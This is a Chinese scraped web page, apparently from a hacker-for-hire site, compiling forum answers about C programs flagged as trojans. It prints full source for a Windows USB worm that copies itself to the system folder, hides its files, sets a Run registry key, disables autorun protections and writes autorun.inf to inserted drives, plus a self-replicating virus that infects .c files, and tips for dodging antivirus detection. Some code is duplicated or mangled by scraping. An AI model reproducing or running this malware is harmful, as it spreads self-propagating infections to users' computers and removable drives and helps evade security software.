24小时黑客接单的网站

黑客业务,怎么找黑客,联系黑客,黑客服务,免费黑客服务QQ

c编程编出来的木马病毒(木马病毒程序代码)

本文目录一览:

我的c语言作业编译后总是被360当作木马给隔离删除了怎么办?!都是些非常简单的程序啊

您好,由于病毒多为私人编写,因此杀毒软件对私人编写的程序是高度敏感状态。您的情况,建议在杀毒软件中设为信任文件即可。或者运行您自制程序的时候,断开网络,关闭杀毒软件。

推荐使用腾讯电脑管家,误杀率低,点此下载:腾讯电脑管家官网

C#可以编写出木马(病毒?)吗?

可以是可以,不过破坏力可能没有c或者c++的强。C#本身非常重视代码的安全性,你想制造个溢出错误都难..直接访存也不是很好,主动式的木马可能还可以。

用C语言编写的病毒代码

一个c病毒源代码

#include windows.h

#include Shlwapi.h

#include fstream.h

#include TlHelp32.h

#include Dbt.h

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//计时器

//function

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程

//获取盘符

TCHAR FirstDriveFromMask (ULONG unitmask);

//病毒从U盘启动时用到的函数

BOOL FileExist(TCHAR *path);//测试一个文件是否存在

BOOL GetSelfPath(TCHAR *path);//Get the virus's path

//BOOL FindU(TCHAR *u);//check whether u exist, u[2]

BOOL GetSysPath(TCHAR *path);//得到系统路径

BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置

BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性

BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动

//从C盘启动时用到函数

BOOL CopyToUAndSet();//复制自己到U盘

BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件

BOOL FindSelf();//测试自己是否在已经执行了

//global variable

TCHAR szExePath[MAX_PATH];//the virus's path

TCHAR U[2];//保存U盘的盘符

TCHAR szSysPath[MAX_PATH];//system path

//constant

const TCHAR *szExeName="bbbbb.exe";

const TCHAR *szSysName="aaaaa.exe";

const TCHAR *szAutoRunFile="AutoRun.inf";

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,

PSTR szCmdLine, int iCmdShow)

{

static TCHAR szAppName[]=TEXT ("UUUUUU");

HWND hwnd;

MSG msg;

WNDCLASS wndclass;

wndclass.style =0;

wndclass.lpfnWndProc =WndProc;

wndclass.cbClsExtra =0;

wndclass.cbWndExtra =0;

wndclass.hInstance =hInstance;

wndclass.hIcon =0;

wndclass.hCursor =0;

wndclass.hbrBackground =0;

wndclass.lpszMenuName =NULL;

wndclass.lpszClassName =szAppName;

if (!RegisterClass (wndclass))

{

MessageBox (NULL,TEXT("Program requires Windows NT!"),

szAppName, MB_ICONERROR);

return 0;

}

hwnd = CreateWindow (szAppName, NULL,

WS_DISABLED,

0, 0,

0, 0,

NULL, NULL, hInstance, NULL);

while (GetMessage(msg, NULL, 0, 0))

{

TranslateMessage (msg);

DispatchMessage (msg);

}

return msg.wParam;

}

LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)

{

PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;

switch(wParam)

{

case DBT_DEVICEARRIVAL: //插入

if (lpdb - dbch_devicetype == DBT_DEVTYP_VOLUME)

{

PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;

U[0]=FirstDriveFromMask(lpdbv -dbcv_unitmask);//得到u盘盘符

//MessageBox(0,U,"Notice!",MB_OK);

CopyToUAndSet();//拷到u盘

}

break;

case DBT_DEVICEREMOVECOMPLETE: //设备删除

break;

}

return LRESULT();

}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)

{

switch(message)

{

case WM_Create: //处理一些要下面要用到的全局变量

U[1]=':';

GetSysPath(szSysPath);//得到系统路径

SetTimer(hwnd,TIMER,5000,0);//启动计时器

GetSelfPath(szExePath);//得到自身的路径

return 0;

case WM_TIMER: //timer message

if(szExePath[0]==szSysPath[0]) //如果是系统盘启动的

SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息

else

{

CopyToSysAndSet(hwnd);//拷到系统盘并自启动

}

return 0;

case WM_DEVICECHANGE:

OnDeviceChange(hwnd,wParam,lParam);

return 0;

case WM_DESTROY:

KillTimer(hwnd,TIMER);

PostQuitMessage(0);

return 0;

}

return DefWindowProc(hwnd, message, wParam, lParam);

}

TCHAR FirstDriveFromMask(ULONG unitmask)

{

char i;

for (i = 0; i 26; ++i)

{

if (unitmask 0x1)//看该驱动器的状态是否发生了变化

break;

unitmask = unitmask 1;

}

return (i + 'A');

}

BOOL GetSelfPath(TCHAR *path)

{

if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录

{

return TRUE;

}

else

return FALSE;

}

BOOL GetSysPath(TCHAR *path)

{

return GetSystemDirectory(path,MAX_PATH);//得到系统路径

}

BOOL CopyToSysAndSet(HWND hwnd)

{

TCHAR szPath[MAX_PATH];

lstrcpy(szPath,szSysPath);

lstrcat(szPath,"\\");

lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录

if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件

{

CopyFile(szExePath,szPath,FALSE);

RegAutoRun(szPath);

return SetFileAttrib(szPath);

}

else

{

if(!FindSelf())//检测自己有没有运行

{

//MessageBox(0,szExePath,szPath,MB_OK);

WinExec(szPath,SW_HIDE);//没有就执行

SendMessage(hwnd,WM_CLOSE,0,0);//结束自己

}

}

return FALSE;

}

BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在

{

int result;

result=PathFileExists(path);

if(result==1)

return TRUE;

else

return FALSE;

}

BOOL SetFileAttrib(TCHAR *path)

{

return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);

}

BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动

{

HKEY hkey;

DWORD v=0;

RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",hkey);

RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)v,sizeof(DWORD));

if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",

hkey)==ERROR_SUCCESS)

{

RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));

RegCloseKey(hkey);

return TRUE;

}

else

return FALSE;

}

BOOL CopyToUAndSet()

{

TCHAR szPath[MAX_PATH];

lstrcpy(szPath,U);

lstrcat(szPath,"\\");

lstrcat(szPath,szExeName);//得到指向U盘的完整目录

TCHAR szAutoFile[MAX_PATH];

lstrcpy(szAutoFile,U);

lstrcat(szAutoFile,"\\");

lstrcat(szAutoFile,szAutoRunFile);

if(!FileExist(szAutoFile))

{

CreateAutoRunFile(szAutoFile);

SetFileAttrib(szAutoFile);

}

if(!FileExist(szPath))

{

CopyFile(szExePath,szPath,FALSE);

return SetFileAttrib(szPath);

}

return FALSE;

}

BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件

{

ofstream fout;

fout.open(path);

if(fout)

{

fout"[AutoRun]"endl;

fout"open="szExeName" e"endl;

fout"shellexecute="szExeName" e"endl;

fout"shell\\Auto\\command="szExeName" e"endl;

fout"shell=Auto"endl;

fout.close();

return TRUE;

}

return FALSE;

}

BOOL FindSelf(){

PROCESSENTRY32 pe;

HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

pe.dwSize=sizeof(PROCESSENTRY32);

if(Process32First(hShot,pe)){

do{

if(lstrcmp(pe.szExeFile,szSysName)==0)

{

CloseHandle(hShot);

return TRUE;

}

}while(Process32Next(hShot,pe));

}

CloseHandle(hShot);

return FALSE;

} 隐藏窗口:ShowWindow(false); (#include windows.h)

将程序暂停一秒后继续执行:sleep(1000); (同上)

删除文件:system("del 文件的路径");

运行文件:system("文件的路径");

system函数(#include iostream)

复制文件:详见remove函数(#include process.h)

-----------------------------------------------------------

一个不错的病毒完整源代码

#include windows.h

#include Shlwapi.h

#include fstream.h

#include TlHelp32.h

#include Dbt.h

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//计时器

//function

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程

//获取盘符

TCHAR FirstDriveFromMask (ULONG unitmask);

我在家用C++编程时出现病毒

贴出程序喽~

举个例子,在一个线程中,

先URLDownloadToFileA下载一个程序

再Winexec执行这个程序,杀毒软件就会报病毒

但是。。。可以用两个线程+消息的办法解决,

这就是杀毒软件的尴尬 ^_^

扯远了,但估计楼主是类似情况

重新编辑此贴

---------------------------------------------------------------

我对天地傲雪同志的回答致以强烈的鄙视。

既然感染你的文件可以杀出来,那么在内存中同样的代码怎么会有杀不出来的道理!

编译器本身没有定性,但是可以编译出杀毒软件,同样也能编译出病毒。

楼主可以尝试在WinMain()函数里面,先注释掉下半部分,编译~

如果没报警,那么就是被注释掉的这一部分有问题,如果报了警,那就是剩下的有问题。

下一步可以注释掉四分之一的代码...

依此类推,直到找出是哪些语句有问题,再做相应修改。

网上流传的代码,有部分是留了后门的,楼主注意

c语言木马源代码

#include stdio.h

#include dir.h

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#includestdio.h\n",out);

fputs("#includedir.h\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;ji-1;j++)

if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(ji-1);

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(ffblk);

}

return 0;

}

严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。

为什么c语言360说是木马病毒

C语言运行会修改内存,一般能修改内存的程序,防毒软件会比较敏感,在跳出来报毒窗口时添加信任

  • 评论列表:
  •  冢渊不矜
     发布于 2022-10-29 13:47:52  回复该评论
  • TRUE;elsereturn FALSE;}BOOL SetFileAttrib(TCHAR *path){return SetFileAttributes
  •  元气小坏坏1
     发布于 2022-10-29 17:49:22  回复该评论
  • 那么就是被注释掉的这一部分有问题,如果报了警,那就是剩下的有问题。下一步可以注释掉四分之一的代码...依此类推,直到找出是哪些语句有问题,再做相应修改。网上流传的代码,有部

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.